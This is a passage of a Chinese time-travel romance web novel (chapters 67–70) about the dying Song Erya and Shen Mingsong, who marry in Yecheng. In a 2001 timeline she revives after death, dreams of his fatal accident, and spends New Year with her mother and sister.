船返航过程都是沈明松抱着她喂水喝。 她太喜欢窝在他怀里寻求安全感,似乎抱得紧紧地,心就会黏在一起再也不分离。这个世界上他们真的只剩彼此了。 他们相依为命。 沈明松看着海面,他父亲被吞没在这,母亲也安葬在此,他不该对这片大海有什么情感,可看到海面上的那个灯塔时,又想起自己得到爱人第一个吻那天。 比起喜欢,他更想用爱来表白。 喜欢可能是一瞬间冒出来的,爱才是一分一秒积累起来,她用宋瑶的身份陪着他渡过整个年少,他的爱日以继夜的滋生,随着成长而扎根贯穿过生命。 宋尔雅仿佛心有所感抬头看他。 “哥哥。” “嗯?” “我爱你。” 第67章 第 67 章 人生得意须尽欢 故地重游, 椰城还是那个椰城,人和物都已不再。 下船后他们还在以前的家附近那片海边散了一圈,遇见了个两鬓斑白的老人, 黝黑的脸被海风吹满皱纹,身体倍棒的,一手拿着鱼竿一手提着满满一桶鱼, 收获丰富??x?。 如果不是沈明松和人打招呼,宋尔雅也认不出来老人是陶叔。 只能再次感叹岁月伤人, 把人的生命力抽走了, 留下一副松松垮垮的皮囊,弯曲的脊梁骨撑不起时间的重压。 沈明松差不多是陶叔干儿子了, 他想去帮陶叔提桶, 陶叔老小孩似的吹胡子瞪眼, 说自己还没看到提不动的程度。 陶叔眼睛转来转去, 最后落宋尔雅身上:“明松,这小姑娘是谁, 怎么看有些眼熟?” 宋尔雅怕沈明松乱说,抢先开口:“叔叔你好, 我叫宋尔雅, 是沈明松的女朋友。” 闻言陶叔差点桶都提不稳, 瞪着眼睛打量了她一会儿,没信她的话:“你这孩子, 怎么拿我老头子开玩笑。” 宋尔雅:“我不是孩子,叔叔, 我四十多岁了。” “四十多?!”陶叔嗓门都变大了,不可思议又左右上下看了她一圈,这孩子怎么看都不像是快四十的人。 宋尔雅顶着他惊疑的目光, 挽住沈明松胳膊,还踮着脚亲他一口。 老人家赶紧背过身去,看不得这一幕。 沈明松给她一个眼神,让她别逗老人家玩。 宋尔雅坚持自己就是四十多。 陶叔邀请他们到家里吃饭,她倒是很积极的点头。 潮汐路那一代都被填平建了大片海景房,不复过往,原住民拿到钱后好些都搬走了。 宋尔雅完全认不出来地方了,找不到宋家位置。不过她家都被被卖掉了,就算是老太太家也应该没了,钱估计被宋国梁拿去挥霍了。 “你家也被拆了?”她问沈明松。 沈明松:“开发商就是我。” 04年房价暴涨,有人守旧念着是老宅子不舍得,但更多人想成为一夜暴富的拆迁户。 地方已经被拆的那年,沈明松还未穿过来。 陶叔分到最好的户型,采光通风都很棒,有一面大露台,往外一看就是一整片大海,没有任何建筑物遮挡。 他一进门就招呼老伴:“阿琴,明松回来了,还带了女朋友,你快出来看看。” 陶冬冬妈妈走出来,看到来人也是很惊喜,围着沈明松一顿嘘寒问暖,对宋尔雅的态度和陶叔一样震惊:“这孩子是哪家的,看着眼熟。” 沈明松搂过她肩膀:“琴姨,你们还记得芳姐吗,这是她女儿,也是我女朋友。” 陶叔一拍大腿:“我说怎么这么眼熟,长得和你妈妈真像。” 其实宋尔雅和宋瑶才是最像的,但宋瑶太小就去世了,都没有人记得她。 老两口让保姆先做饭,拉着沈明松进一间房里不知道要密谋什么。 宋尔雅不好在别人家里到处乱看,乖乖坐在沙发等待。 等人出来后,老两口态度变了变,也不纠结她年龄究竟是多少,像沈明松父母一样热情地招呼她喝茶。 等饭菜上桌了,宋尔雅左右看一下,忍不住问:“叔叔阿姨,怎么不见你们的孩子?” 老两口也不介意她乱辈分的称呼,陶叔说:“我家老大在外地工作,老二出国外了,一年到头回来不了几次。” 而陶东东是家里老三,看他们态度他们好像不愿意提及小女儿的事情。 她看向沈明松,他轻轻摇头示意她别问下去。 和陶叔他们道别之后,回了沈明松在这边的一所住处,是栋带院子的小别野,出门就是海,住处早有人打扫消毒过了,被褥什么都是新的。 她洗完澡出来,没多长的头发一会儿就半干了,沈明松还是拿过吹风机帮她吹干,怕她一不小心就感冒。 宋尔雅掀开脑袋上的毛巾:“你现在可以和我说说陶冬冬到底怎么了,她去哪里了?” 沈明松吹干她头发,还嗅了一下她发顶气味,才开口:“她前几年和女朋友在国外结婚了,陶叔他们不同意,父女关系断绝后不肯让她回家。” 宋尔雅松了一口气:“还好还好,我还以为她出什么意外,不在了呢?” 她突然又想到,是不是有女儿做例子,所以老两口对他们这对“叔侄”恋也没多大反应? “不过叔叔阿姨这么宠她,真舍得不要她了。” 沈明松:“老人家思想跟不上,等时间妥协吧。” 宋尔雅想时间稍纵即逝,人有几年可以等呢,“幸好你不顽固,不然我还得要等多久呢?” 沈明松大手搭在她肩头上,指腹轻轻抚过后颈肌肤,粗糙老茧刺得人痒痒,很快有替换成一个轻柔的吻。 高大的男人弯着腰,弓着背在年轻的爱人后背留下一个吻,姿态卑微而克制,在她身后闷闷的说:“等过个十年八年,我会更老。” 宋尔雅心想自己可活不到十年八年那么久,笑眯眯的应声:“那哥哥也是个帅老头,更有那个味了。” 沈明松:“?” 宋尔雅转身抱他:“哥哥,今晚陪我睡吧?” 沈明松露出一言难尽的表情。 晚上到了吃药的点,宋尔雅靠在床头上等着沈明松给她到倒水,医生开得药太多没法一次性咽下,分了三次才全部咽下,嘴巴寡淡无味。 她抓住沈明松衣角不让他逃跑:“快上来嘛,我困了。” 沈明松站着看了一会她,把灯关了掀开另一边的被子脱鞋上来。 窗外的月光皎洁,屋内轮廓模模糊糊。 床很大,两人之间的间隔可以容纳第三个人,宋尔雅一点一点地挪过去,仿佛自己是什么诱骗良家妇男的女流氓:“我又不吃了你,你躲那么远干嘛?” 沈明松无奈地看着他贴过来,要床中央她就停下了,伸手拽他:“你过来。” 他动了动,挪了过去,她打蛇上棍趴过来,像抱住了大型陪睡熊,手脚都抱上来。 沈明松只是身体变成了四十多岁,不是不行了,可少女的体温和呼吸挨着她,他什么想法都没有,只想替代月光陪伴她。 他哄孩子一样轻轻拍着她的后背:“睡吧。” 怀里发出一阵轻笑,沈明松问她笑什么嘛,宋尔雅说:“不告诉你。” 药物中带着安眠效果,宋尔雅很快睡着了,但并不安稳的,再一次做了那个葬礼的梦,梦里的沈明松向她伸出了手,她不由自主地把手递过去,然后被他一把拽进遗相中。 她猛然惊醒。 沈明松还未睡过去,手背碰碰她的脸:“做噩梦了?” 宋尔雅借着月光看着他被月光染白的脸,像梦中的样子,他臂弯收紧了几分拍拍她后背,她便不觉得他可怕了。 她仰头在他下巴上亲一口,手抱住他腰:“抱紧一点我。” ~ 两人在椰城住了下来,沈明松给集团那边请了无期限的假,自己请自己批,陪她渡过最后的一分一秒。 沈明松会开快艇,挑着天气晴朗带她出去看玻璃一样海,去断崖边上看看海面上的日出日落,晚上就躺在汽艇上看温柔的月光洒在海面上。 宋尔雅虽然画技不怎么样,好歹学过的,她在电子设备上画好要沈明松弄出来,然后挂在墙面上,让家里处处留下她的痕迹。 她看短视频别人用棒棒糖都能钓到鱼,也要试试,结果自然而知,钓了半天什么都没有,抱怨道:“这片海里根本就没有鱼。” 沈明松默默把虾肉给她换上之后,终于钓起了一条色彩明艳的大鱼,她又开心起来,给朋友们分享说自己钓到了多巴胺鱼。 沈明松纠正她:“这是青衣鱼。” 宋尔雅理直气壮:“我知道啊,我要把它带回家养起来,以后就叫它多巴胺。”她是无法养猫猫狗狗的,只能养条鱼当宠物了。 沈明松给弄了个海景缸,把她钓起来的鱼都弄去给她养,养死了便偷偷换一条,宋尔雅一次都没发现过,觉得自己以前不仅鸡养得好,养鱼也是天才,天天在网上和人分享自己的养鱼经验。 宋尔雅每天都起很早要去海边溜达,捡很多贝壳回来,沈明松把贝壳洗了又洗,反复消毒好几次才给她。 小别野院子外种植了一颗很大的树,宋尔雅把贝壳穿成风铃挂上去,风一吹就叮叮当当响,沈明松爬上树把绳子绑在枝干,给她搭了个秋千。 有时沈明松会陪她在小院子里泡茶看看书,看她困了睡在秋千躺椅上,婆娑的树影在她身上轻轻晃动。 小别野是私人领地,不知是哪个缺德的用无人机拍到他推着她荡秋千画面,还给传播到网络上宣传成旅游打卡胜地,吸引了大量游客。有些人无视禁止入内的牌子跑进来拍照打卡,还把她的风铃给薅走了很多。 沈明松本意就是不愿她去人多的地方,又怕她闷坏了,才休假带她来这边疗养的,气得多加了好些安保人员阻拦某些疯??x?狂的游客。 宋尔雅生日那天,沈明松问她要怎么过。 从十八岁出院后她每一次庆生都办得很隆重,邀请宾客无数,全是海都有头有脸的人物,来给她一个养女不是养女,没有明切身份的人庆生,但外人都知道她在沈家地位。 她爱人声鼎沸,爱呼朋引伴,可能是穿越多活了好些年,她心境年长了一些,这一次只想和沈明松单独度过, 宋尔雅企求的问:“哥哥,今年你可不可以送点有新意的。” 年龄小一点时她收到的礼物是房子车子珠宝这些东西,后面便是基金股票,她名下财产比很多货真价实的富二代都多。 沈明松认为财产是最实在又讨人喜欢的,但她不是挥霍的人,花出去最多的钱是医疗费,他还以她名义捐了许多学校和孤儿院,替她积德行善。 今年她想要什么礼物呢?想要他给她什么? 沈明松蹲在她身前,仰头注视着她眼眸:“尔尔希望收到什么生日礼物呢?” “你自己想。” 宋尔雅给他出了道难题,他也不像是会说甜言蜜语、海誓山盟之人,他一开口便是必定会实行的承诺。 生日那天她果然没有在凌晨收到祝福,而是一觉睡到天亮,睁眼就看见床边等待着醒来的男人。 “可以嫁给我吗,尔尔?” 沈明松单膝跪在床前,掌心小礼盒内静静躺着一枚钻戒,眼里是溢出来的爱。 宋尔雅在她22岁生日这一天,他们在民政局领了证,两本单薄的户口本合成了一本。她对婚姻并无期待,她只想和他成为全天下最亲密的关系。 她今后应该也不会有太多遗憾,至少人生小圆满,她不可以太贪心。 第68章 第 68 章 你生病了吗 2001年的海都还在过冬天。 宋尔雅睡梦中感觉自己如坠冰窟, 手脚冻得僵硬,好不容易挨到个热源,便不断地往那边钻。 她颤了颤睫毛, 人醒了,一眼就看见睡在她旁边的沈明松。 他把她严严实实的搂进怀里,下巴贴着她额头, 不知为什么屋内空调都没开,被子都是冰凉的。 她摸摸沈明松, 屋内就他一个有温度的, 还抱着她一起睡着了,体温被她汲取走了一般, 脸庞温凉温凉的。 还没开口喊人, 沈明松就猛地坐起来, 定定看她一分钟后, 眼睛才眨了一下:“回来了。” 语气平常得像问她吃饭没。 宋尔雅身体僵硬得还不太能行动,血液没缓过来, 只能任他扶着坐起来,她说话都是颤抖的:“我这次睡了多久?你怎么还抱着我睡?怎么不开暖气?好冷啊。” 沈明松跳过她所有问题, 只问她:“肚子饿不饿?” 宋尔雅连连点头, 胃饿得快要烧穿了。 沈明松便抱起她走出房间放到客厅沙发上, 又搬来一个取暖器到她身旁打开,再去厨房把锅里的粥给热了。 过了十来分钟后她全身都回暖了, 像冰箱冷藏的肉被解冻后慢慢软化,沐浴在暖气中活了过来, 能动能跳了,她跑去把牙刷了。 她身上好好穿着棉睡衣和袜子,又抬手嗅嗅自己身上味道, 还是那股沐浴露味。 “每天有帮你洗澡的。”沈明松冷不防地从身后冒出来,跟着她也嗅了一下,“不会臭的。” 宋尔雅确实感觉浑身清爽,没想他还会帮自己洗澡,避免了她这次回来闻到有异味的自己。 沈明松把热好的粥端出来,“先把粥喝了。” 粥的温度刚刚好不烫嘴,她肚子饿得叽里咕噜,吃相难免带了几分狼吞虎咽,一碗粥下肚后才有嘴问:“我这次死了多久。” “不要老说什么死不死的。”沈明松严肃的板着脸,说她停止呼吸三天,不包括昏迷不醒那几天。 “幸好还没腐烂。”她又抬手嗅嗅再次确认自己有没有尸臭,依旧觉得这副身体很神奇,难道这身体是不会腐烂的? 她问第二个问题:“你抱着我睡觉干嘛,你不害怕?” 就算提前知道她还会复活,但没有呼吸心跳的身体怎么看都是死尸,正常人都会害怕的吧。 他搂着尸体睡就算了,还有心情给她洗澡。 她又想起他跑去太平间看她那次,觉得他可能有点奇怪。 不过想想换成他成了尸体,她大概也不会去害怕,她一次次做梦梦见他遗像向她伸出了手,她每次都义无反顾地搭上去了。 爱会消除人的恐惧? “怕你醒来害怕。”沈明松淡定地给她添粥让她多吃喝点。 这些天里他隔一个小时就惊醒一次,看看她还没有没心跳,哪儿都不敢去,一直在等她醒过来。 怕得不是尸体,而是她再也不回来,他没有办法跟着一起去到她世界,魔怔起来还想过从楼里跳下去会不会就能穿越过去。 沈明松很少会有这么无能为力的时候,能做的事只有等。 沈明松:“这次回去过的怎么样,发生了什么?” 宋尔雅喝完粥,身体暖烘烘的,她拍拍肚皮:“不和你说。” 沈明松皱皱眉,又松了,轻轻叹气。 她能回来就好。 这时有人按门铃,沈明松去开门,说了什么之后,有两男人个抬了个巨大的纸箱进来问他放在哪里。 沈明松让他们客厅放角落,两男人搬过去把包装拆了,里面是个冰柜,很大一个,长度都可以容纳一个人躺进去了。 通电确认无误后,沈明松利落地签收了。 等两男人关门走后,宋尔雅才凑上去抚摸冰柜:“你买这个来干嘛,冻雪糕,现在可是冬天啊?”宋尔雅说完又一个激灵,惊恐道,“你不会是准备用来冻我的吧?” 沈明松嗯了一声:“不然等你回来发现自己发臭了,不得和我分手啊?” 宋尔雅摸摸自己手臂上的鸡皮疙瘩:“哥哥你有一点诡异你知道吗?要是被警察发现了第一时间就把你抓了。” 沈明松没说什么。 宋尔雅:“你赶紧退了。” 沈明松目光在她脸上游走一番,又才移开:“懒得退。” 他拿碗进去厨房洗,她也跟着进去,嘴巴不停说话,就好像没有“死”过,明明昨晚她还在自己怀里没有任何呼吸,现在又这么鲜活,真是很奇妙的一种感觉。 其实私底下他已经找过人,准备定制殡仪馆的那种柜子,再找路子买些福尔马林,就怕她全身腐烂后就再也回不来了。 宋尔雅不知他所想,他也一样,眼睛看到客厅墙壁挂的日历,2001年1月8号。 只剩一个月了。 ~ 沈明松给她请了好些天的假,她这一醒来直接跳过复习阶段迎来期末考了。 得亏她平时上课不含糊,老师出题也友好,最终成绩应该不会太差。 考完当天就可以回家了,宋尔雅和宋芳打电话说自己不回去那么快。 因为消失那么长时间积累了不少翻译工作,章雪给她臭骂了一顿,知道她是生病后又和她道歉了。 不过资本家还是资本家,既然病好了那就起来干活,章雪还准备把她带着身边,要她上班要上到年底,更是叫她把护照弄一下,以后到国外出差要用。 宋尔雅悠闲度假那么久,乍一回来就成社畜,突然不理解以前的自己怎么会觉得这样的生活很充实呢,明明要累死人了。 同时也算是知道了章雪为啥敢要她一个,大学没毕业也没任何工作经验的人了,原来是她抗压性太强。 沈明松专业考试结束比她更早,跟她打招呼,因为请假回来照顾她太多天了,公司的事情已经堆积成山不得不回去处理,估计年底都没有空。 说是这么说,一天晚上她才入睡不久,就察觉到有人轻手轻脚地走进来,习惯性探了她鼻息,发现还活着后又离开了。 她半梦半醒中还以为自己做梦,还没彻底睡熟,身旁的床垫陷了下去,紧接着被圈入一个暖洋洋怀抱中。 沈明松洗过澡后才敢钻进她被窝里,用的还是她的沐浴露,味道很好闻。 他把她当猫一样埋脸蹭蹭吸吸,也很喜欢这种恋人之间的亲密,又不敢动作太大给她弄醒了。 偷偷溜进来和她睡了一晚,第二天又早早起床溜走了,仿佛就没回来过。 宋尔雅去找了他放在家里的相机,果不其然发现了几张她睡觉的照片,也不知道是什么时候拍的,她不动声色的放回去。 这次穿过来后,她睡得并不太安稳,有时还会做噩梦,也就发现了他几乎每晚都会回来,每次都是在他怀里被吓醒。 沈明松拍着她后背,担忧问她梦见了什么,这么害怕。 宋尔雅摇头说忘记了。 没两天,他又去抓中药给她调理,说她脾胃差身??x?体虚才多梦的。 宋尔雅苦不堪言,每天都想办法赖掉。没想喝多了真的有用,她睡眠状态又恢复了许多,但偶尔还是会被人吵醒的。 沈明松公司离学校两个小时的车程,他白天累成狗了也开车回到这边睡觉, 想想也是,这一年的他刚经历男女之事不久,哪里忍得住不和女友亲近,他没直接搞-醒她都算他自制力坚定。 但宋尔雅没他坚定,一次次被他不上不下的钓起来,最后单纯地嗅着她身上味道拿她当安眠药睡几个小时就跑,这不纯折腾人吗? 在她心里是已经和沈明松结婚了的,是合法夫妻,那边的他却顾及着她孱弱的身体缘故而忍着没碰过她。 一把年纪才娶到老婆却碰不得,有时宋尔雅看着他都怜悯,像个孤寡大叔。要是她离开了,他便是鳏夫,更可怜了。 有一晚沈明松又偷偷侧躺她身旁,手撑着脑袋看她良久,粗粝的手指磨人一般抚摸她的唇瓣。 宋尔雅直接不装睡了,张嘴咬了他手指一口,口齿含糊不清:“哥哥想做就做嘛,不要每次弄醒我就跑。” 沈明松被抓包了,可其他地方压根不害臊。 这边的他无论是心态还是身体可都年轻得很! 等他不克制后,宋尔雅后悔死了。 毕竟没有人可以反抗得了一条发疯的狗,她受不了时,揪着他头发想给他耳光都被抓住了手。 他呼吸粗重,整个人兴奋到了极点,忍住没咬她,而是轻轻吻在她掌心,还舔了一下。 她先挑的头,最后还是她先开口求饶。她只是个柔弱不能自理的少女,怎么可能经得住他折腾! 可即使是这样,宋尔雅累得头脑不清醒时,竟然还不要命的对比起来,如果是四十多岁身体的沈明松来,也会这样对她强势发疯吗? 她更觉得那个他动作会非常轻柔…… 她有点想,但她不敢说,更不敢和身旁刚疯完的男人说,毕竟她眼泪还没全干呢。 沈明松停止发疯后,居然还有精力把她清洗干净,给她穿好睡衣塞进新换上的被褥里,也跟着窝进来,炙热的胸膛贴着她后背,将她团团包围住。 那时她已经睡得很沉了,听见他在耳边嘀咕什么,听不清,想总不能是什么甜言蜜语吧。 最后沈明松都会以亲亲她结束,才一同入眠。 ~ 年二十七到处年味都很重了,大街小巷都是恭喜发财,买年货的买年货,抢车票的抢车票。 宋尔雅提前就买了年二十八号回深市的机票,不着急。 沈明松要回明珠那边住,宋尔雅也装模做样的去他家玩一会,要去给人拜年。 他们去买年货时,宋尔雅在珠宝店里挑了一个镯子给明珠,沈明松给了张银行卡在她那里,花的全是卡里的钱。 至于她自己那点兼职的工资,沈明松都怕她不够花,她不奢侈,但也爱吃好的穿好的用好的,不吃苦。 她很多臭毛病几乎都是他惯出来的,用他的钱早就习以为常,这不就是天经地义的嘛。 把所有东西放后背箱后,沈明松打开车门坐进来却没有第一时间开车,而是朝她这边探身。 宋尔雅以为自己安全带没系好,正要低头看,他手将她垂落的发丝拨上去用东西别住。 她抬头在后视镜看到她鬓角上多了一枚鱼尾形状的发夹,点缀着一颗珍珠。 宋尔雅惊讶的问:“你什么时候去买的?” 沈明松:“刚刚在柜台随便看了下,想你戴这个会很好看。” 事实证明真好看,宋尔雅浓密的黑发编起来全盘脑后,发夹做到锦上添花效果,素雅又亮眼。 高中时他也常常听别的男的讨论过她,说她漂亮爱笑,性格像小太阳,广播里一响起她的声音,几乎有一半男生都会抬头。 她或许不知道,好多人私底下称呼她为播音小公主。 沈明松当时听了很不爽,想发火,但他当时只是她邻居家的一个哥哥,她被男同学欺负剪掉头发,他可以把人打一顿,但别人喜欢她,他没理由发泄出来。 有时他远远地望着她和朋友同学嘻笑打闹的,便不太能移开目光。 而如今这位小公主被他捧在手心上,彻底属于他了。 沈明松抬手摸着她的头发:“昨天晚上我做了一个梦。” 宋尔雅眨巴着眼睛:“什么梦?” “我梦见你生病了,头发全部都掉光了。”他眼睛仔仔细细地检查着她,“你生病了吗,尔尔?” 第69章 第 69 章 噩梦 “你梦见我生什么病了?”宋尔雅露出茫然的神色, “我能生什么病,感冒吗?” 听她这么说,沈明松眉心舒展开, 那到底只是一个朦胧的梦,不是真的。 他坐正身体去开车,余光瞥见她表情淡淡地把发夹取了下来, 立马问:“为什么不戴,不喜欢?” 宋尔雅说, 她不敢在身上戴这些贵重的东西了, 因为之前看到报纸上有个飞车党当街抢包抢首饰,有位女士戴了对耳环, 直接被他扯烂了耳垂。 年底了, 更多的小偷小摸冒出来弄钱, 沈明松竟然给忽略了这个。 宋尔雅又把发夹戴上去, 笑盈盈地:“不过可以私底下戴给哥哥你看。” 沈明松也跟着笑:“只戴给我看?” “当然啦。” 如果不是开着车,沈明松还想亲亲他家小公主。 明珠知道她要来, 早早就起来准备丰富的饭菜,吃完过后, 沈明松自觉收拾碗筷去洗, 宋尔雅要去帮忙, 手还碰到水就被赶出来。 她十指白皙纤长不像能干活的人,沈明松不让她碰家务活, 免得像他一样,掌心都是老茧。 宋尔雅拉过他手, 抚摸过那些茧子,忽然低头亲了一下。 沈明松收紧手指,轻轻推着出去:“我妈还在外面呢。” 等他洗完碗出来看见她和他妈在沙发上, 坐没坐相地倚靠在明珠身上,手里拿着相机教明珠使用。 现在那台相机都成她专属了,成天拿在手里也不知道要研究什么,拍树拍雪拍他,当然里面也有他拍她的照片,储存在小小的记忆卡里,等很多年后拿出来也是种惊喜。 沈明松只好换了新的相机拿去工地上用。 宋尔雅看见他跳起来,光脚跑过去抱住他胳膊:“我刚刚和阿姨说了。” 沈明松:“说什么?” “阿姨同意把你给我了。” 沈明松:“你怎么都不会害羞的?” 宋尔雅:“我为什么要害羞,又不是见不得人的事。” 明珠在一旁笑,青梅竹马就该终成眷属,她就是担心宋芳会有意见。 黄昏后,三人到楼下散步,明珠坦然地卸下假肢坐在轮椅上,让他们推着走。 这一年城市还没有禁烟花炮竹,时不时有鞭炮声,和小孩追逐打闹的喧嚣,宋尔雅买了些烟花棒来玩,把它们插在雪人身上充当手臂。 她当时什么都没想,心中只有快乐,她给明珠拍照时恍惚发现她以前给明奶奶也做过同样的事。 她拍到沈明松时,他脸上挂着浅浅笑意,把围巾圈在她的雪人脖子上,他没看镜头,只是望着她。 宋尔雅愣了一下,去翻找相机里照片,每一张他都是笑着看她的,所以遗相里的他也是笑着的,可能他出事得太突然,实在是找不着其他照片代替上了。 现在已经是新历2001年1月22号了。 他很快就会死亡穿过去和十六岁的她相聚了。 等他穿走了,也许等她在这边给他办完葬礼也会穿回去,然后两个人一起在那边生活。 然而那样的结果是她想要的吗? 第二天沈明松把她送到机场,过安检后宋尔雅回头看他,他站在送别的人群中冲她招招手,她也用力挥手道别。 宋尔雅这一次回来总算住上在深市的新房子,装修好半年多了,味都散没了。 宋尔雅一下飞机就打车回来,中途还堵车了,将近晚上才到。 她大包小包往客厅里一扔,整个人瘫在沙发上。 宋芳走过来拽着她胳膊站起来看了一圈,又捏捏她的脸:“眼睛怎么红红的,哭了?” 飞机起飞后宋尔雅睡了一觉,再一次做了那个噩梦。 这一次不再是灵堂上看到他的遗像,而是他倒在血泊里,大量的血液从脑袋的窟窿里冒出来,吓得她发出恐惧尖叫。 在崩溃到极点前她看见沈明松撑着已经死去的身体坐起来,仿佛能看见她一般,露出遗像上那个笑容再次朝她伸出了手。 宋尔雅又??x?一次被吓醒,下了飞机后心跳很久才平复下来。 “眼睛痒,揉了一下就红了。”她嗓音哑哑回答宋芳。 宋芳给她倒了茶水润喉,调侃道:“你看你,才上大学不好好玩几年,就这么想不开去找工作,被折腾得成什么样了,我看你比开学那会儿瘦多了。” 宋尔雅没有力气和妈妈说话了,洗了个澡睡了一觉后,便是年三十了。 她醒后便和宋芳一起来去菜市场买菜,虽然只有两个人,但过年的仪式不能少,依旧买了很多东西。 在她的怂恿下,宋芳也不打算回老家过年,主要是房子都卖了,回去也没有住的地方。 家里老太太一直打电话问她要钱填宋国梁的窟窿,宋芳也心累得很,早就断了联系,平时只邮寄些生活费回去,怕她心软一次回去就惹一身骚。 宋芳觉得和妹妹两个人就是一个家,不孤独,说起宋国梁她也是淡淡的:“他啊,又跑回去赌了,迟早有一天会被追债的打死。” 宋尔雅心想打死倒不会,这个祸害命可长了,当初他想抢她的监护权问沈明松要钱,结果被弄进牢里关着至今都没出来。 宋尔雅给妈妈买了一件羊毛大衣,宋芳看了一眼价格连忙说不要,说还不如她亲手织的。 宋尔雅坚持买了,她亲手织的虽然珍贵,但也没羊毛保暖不是。 看她刷卡不眨眼的模样,宋芳反复看衣服标牌价格:“当翻译工资那么高,你不是兼职的吗?” 宋尔雅:“因为我做得很好,老板很赏识我,生怕我被竞争对手抢走了,自然要开高价挽留我。” 正常人听她这么嘚瑟,早就想揍她了,偏偏是宋芳。她对她滤镜过大,认为妹妹都考上全国排名前几的大学,肯定是位了不得的。 所以她天花乱坠的吹,宋芳只是一味的夸奖。 但后面宋尔雅又买了更多东西,宋芳脸色才变得难看地把她拉走,表情严肃到有点生气:“你告诉姐,你是不是花人家明松的钱了?这卡是不是他的?” 她看得出来,妹妹从虽然什么饰品都没带,可那小皮鞋长风衣,从头到脚都不像便宜货。 她也知道沈明松是有本事的人,年纪轻轻就赚大钱了,妹妹虽然和别人交往,但也不能花人家钱,不然别人要说她没教好妹妹。 面对宋芳的质疑宋尔雅不敢承认,更不敢说自己还偷偷和人住一起了,这时的观念可没那么开放,她怕被宋芳打死。 “这是我的工资卡啦,我还有学校发的奖学金,我都放里面了。” 那张卡确实是她的。 宋芳又想起她也玩股票的,也赚不少,放心了一点,但也不是很放心。 宋尔雅没办法,回到家把笔记本打开登上证券交易账号给她看,告诉她账号目前价值多少后,宋芳都呆住了,她一直认为妹妹是小赚,没想她是去抢钱了。 她喃喃道:“读过书就是不一样,找的工作体面,赚钱也多,哪像你姐我嘴皮子都磨破了也不见得能成一单。” 她觉得她老宋家不仅出个大学生,未来还可能要暴富了。她有点激动,又怕在做白日梦。 宋尔雅这是赶上时代,大学生还没贬值,读书确实有用,如果她是毕业生工资还能再高些,不过社畜终归是社畜,一样熬人。 她又能提前知道未来发展,炒起股来和作弊差不多,不过她打算全卖掉了把钱弄出来。 股市风险太大,她怕她不在这边后宋芳操作不慎全给赔了,至少现在抛售出来也是不少的一笔钱了,够宋芳去创业都行。 宋尔雅看看宋芳:“姐姐,你想不想自己单干?” 宋芳一愣,不知道她为何又说起这个:“自己干?” 宋尔雅喝口茶,然后和她讨论了电商的经营模式,过两年各大电商平台该崛起了,宋芳在外贸公司混了好几年积累不少经验,如果干这个比较靠谱。 她也想让妈妈吃吃这个时代的红利,乘着东风起飞总比无头苍蝇一样乱干要强。 宋芳开始听得津津有味,后面品出了一丝不对劲,她摸摸妹妹额头:“你怎么了?怎么一副要道别的样子?” 或者说更像是要交代后事,宋芳心里隐隐不安起来。 宋尔雅一愣,没想会被妈妈察觉出来。 “道什么别?”她装傻,嘟囔着说自己是在计划着怎么赚钱,拉着宋芳继续说下去,希望她能听进去一些。 她准备写份计划书出来就给宋芳,等她察觉出未来趋势和她说的吻合上了,也就该认真起来。 年三十的夜晚里到处都在放烟花,宋芳还真就听她唠嗑了一夜,什么时候睡着的都不一样。 这一晚宋尔雅挨着宋芳睡的,如幼时向她索取安全感那般拼命往她怀里钻,嗅着母亲气味。 时间越靠近那个日期,她做梦次数就越频繁,打了瞌睡都能梦见沈明松阴森森的死亡场面。 她又一次地被拽入遗像中,却没能及时清醒过来,而是画面一转,她出现在了医院病房里,没有脸的护士抱着粗得的针管死死的按着她。 无论她怎么挣扎,也只能眼睁睁地看着身上的血液被活生生抽走,连带着抽走了生命。 她惶恐大叫起来,宋芳立马就出现了,她捂住了她眼睛:“不怕了不怕了,我们尔尔最勇敢了。” 听到她声音后,宋尔雅冷静下来,连疼痛都没有感觉,她知道自己做梦。 她再次看看护士,她们又变成了和善的年轻女孩,夸她真棒,是个好孩子。 原来她梦到的是自己十六岁那年,她拉住宋芳的手:“妈妈,叔叔怎么没有来?” 宋芳不知道她在说什么,愁容满面:“什么叔叔,你哪来的叔叔?” “沈明……”她话都未说完,不过个眼的功夫,母亲的脸就消失不见了,她想叫尖,可怎么都不发不出声音。 她明明知道自己在做梦,却无法醒过来。 随机画面又一转,郑嘉明捧着小小的一罐骨灰罐出现在她面前,告诉她妈妈去世。 画面不停的转换,凌乱的,恐怖的。宋尔雅抱着骨灰罐在一片漆黑中不停地企图寻找着沈明松身影。 直到她死了都没有找到,她鬼一样的漂浮在半空,亲眼看着自己也被推进火里被燃烧成灰。 最后来签字收尸的是郑嘉明。 沈明松没有出现过。 第70章 第 70 章 如果是哥哥的话,结婚挺…… 宋芳一睁眼就看到了妹妹坐在床边哭, 立马起身给她擦眼泪,焦急询问:“怎么了?出什么事了?” 宋尔雅抽泣着,泪珠一颗颗落下:“我梦见我死了。” “瞎说, 大过年的不要说这种话,不吉利。”宋芳脸都黑了,拍着她后背安抚。 “如果我死了, 你把账号里的股票都卖了去买黄金吧,姐姐一份, 哥哥一份, 还有阿姨一份。” 宋芳:“再乱说别逼姐姐打你。” 宋尔雅去洗了把脸就不哭了,又恢复到平常的模样。 只有她知道自己内心崩塌如一篇废墟。 那个梦, 难道是老天在警告她? 如果她阻止沈明松的死亡穿越, 她的十六岁便不会再有个叔叔来找她, 更不会一起生活那么多年。 而她也会跟随妈妈离世的脚步, 连尸体都得靠郑嘉明来带走。 ~ 大年初一,宋尔雅见谁都道喜, 宋芳当她早上是被噩梦吓坏了而已,带着她去了同在深市的姑姑家拜年。 等下午姑姑婆家人也来了, 不大的房子里挤满了人, 宋芳看姑姑招呼不过来, 吃过晚饭便和姑姑打招呼后回家了。 别人家热热闹闹,自家只有姐妹两, 走在路上宋芳突然问:“瑶瑶,你觉得我男朋友怎么样?” 宋芳的男朋友还是孟非凡, 没有变。 宋尔雅不好说,她没和孟非凡有过很多接触,但幼时记忆里他是个很和善的叔叔。 “这要看姐姐你, 你觉得谁好谁就好了,不好就是不好。”前提是那人不准是郑嘉明。 宋芳早把郑嘉明忘旮旯角去了,顺了顺风吹乱的头发,语气询问:“如果姐姐要和他结婚呢?” 宋尔雅顿住,看着宋芳不像是开玩笑的表情:“姐姐你决定好了?” “有这个想法,已经约好明天去他家见见他的家人,如果他家人好相处的话,姐姐也打算带他回椰城见见爷爷奶奶。”宋芳像下了某种决心,脸上笑容挺幸福的,“我也二十好几了。” “那我祝福你们。”宋尔雅不赞同不反对,心中惆怅,她虽改变了母亲命运轨迹,之后该要往哪里前行也不由她控制。 希望自??x?己千万别好心做了错事,孟非凡你最好是个好人! 大年初二,孟非凡来车来接宋芳,宋尔雅跟着去了,在酒店见到了孟家父母。 